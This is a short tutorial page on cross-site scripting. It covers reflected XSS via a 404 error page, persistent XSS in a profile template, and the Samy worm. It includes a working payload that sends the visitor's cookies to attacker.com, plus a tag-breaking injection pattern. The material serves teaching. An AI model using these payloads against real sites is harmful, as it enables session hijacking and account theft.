Cross-Site Scripting (XSS)

Dated Nov 21, 2018; last modified on Sun, 14 Mar 2021

XSS 101

Suppose a site, given a non-existent path, e.g. htpp://victim.com/path, writes this error message:

Error 404! `path` not found.

An attacker can then lead a user to opening http://victim.com/attacker_supplied_string, where attacker_supplied_string is:

<script>
  let addr = "http://attacker.com/?" + escape(document.cookie);
  document.write(`<img src="${addr}" />`);
</script>

Suppose a site uses Force HTTPS. If a <script src="http://..."> is not redirected to a HTTPS url, then an active attacker would still replace the JS code in the HTTP response with the malicious code that would run on the HTTPS page!

Persistent XSS

Consider a social network that allows creating and editing own profile, and viewing your own and others' profiles.

If this is the template…

<div id="username">
  user_supplied_string
</div>

… an attacker can do:

<div id="username">
  </div><script> /* Cookie stealing script. */ </script><div>
</div>

Browsers try too hard not to fail to the point of being insecure, e.g. if <img src="http://attacker.com/gif"> returns JS, the browser will interpret the (untrusted) code as such despite the site’s owner expecting an image.

… or even:

<div id="username">
  </div>
    <script>
      /* Code to replace user's profile with copy of the same code */
    </script>
  <div>
</div>

The 2005 Myspace Samy ‘worm’ (more accurately, a virus) replaced users' profiles with the text ‘samy is my hero’. It spread to 1m+ users in under a day.